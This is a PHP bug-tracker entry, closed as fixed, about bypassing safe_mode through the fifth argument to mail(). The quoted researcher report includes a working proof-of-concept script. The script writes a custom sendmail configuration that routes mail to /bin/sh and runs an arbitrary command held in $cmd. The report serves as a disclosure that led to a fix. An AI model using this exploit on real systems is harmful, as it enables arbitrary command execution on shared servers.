Bug #17745 Updated: bypassing safe_mode with mail()

ID: 17745 Updated by: derick@php.net Reported By: cliph@isec.pl -Status: Open +Status: Closed Bug Type: Mail related Operating System: Any PHP Version: 4.2.1 New Comment: This bug has been fixed in CVS. You can grab a snapshot of the CVS version at http://snaps.php.net/. In case this was a documentation problem, the fix will show up soon at http://www.php.net/manual/. In case this was a PHP.net website problem, the change will show up on the PHP.net site and on the mirror sites. Thank you for the report, and for helping us make PHP better. Previous Comments: ------------------------------------------------------------------------ [2002-06-13 12:36:52] cliph@isec.pl If PHP is configured with safe_mode option enabled, special restriction are set up including limit on external binaries that may be executed from within a PHP script. The 5th argument to the mail() function (introduced in version 4.0.5) allow specifying command line option to the sendmail binary. Some time ago a bug was found in the mail() function allowing to pass shell meta-characters in the 5th argument, leading to execute arbitrary shell commands or external binaries. This bug was fixed in version 4.1.0. However, mail() function is still vulnerable because it allows to pass command line arguments to the sendmail binary which gives the ability to influence its behavior (i.e. by using non-default aliases, custom configuration files - other cases are possible with others MTAs) Passing 5th argument should be disabled if PHP is configured in safe_mode. Sample exploit that works with sendmail MTA: -----8<----- bypass_safe_mode.php -----8<----- <? $script=tempnam("/tmp", "script"); $cf=tempnam("/tmp", "cf"); $fd = fopen($cf, "w"); fwrite($fd, "OQ/tmp Sparse=0 R$*" . chr(9) . "$#local $@ $1 $: $1 Mlocal, P=/bin/sh, A=sh $script"); fclose($fd); $fd = fopen($script, "w"); fwrite($fd, "rm -f $script $cf; "); fwrite($fd, $cmd); fclose($fd); mail("nobody", "", "", "", "-C$cf"); ?> -----8<----- bypass_safe_mode.php -----8<----- Regards, Wojciech Purczynski <cliph@isec.pl> iSEC Security Research http://isec.pl/ ------------------------------------------------------------------------ -- Edit this bug report at http://bugs.php.net/?id=17745&edit=1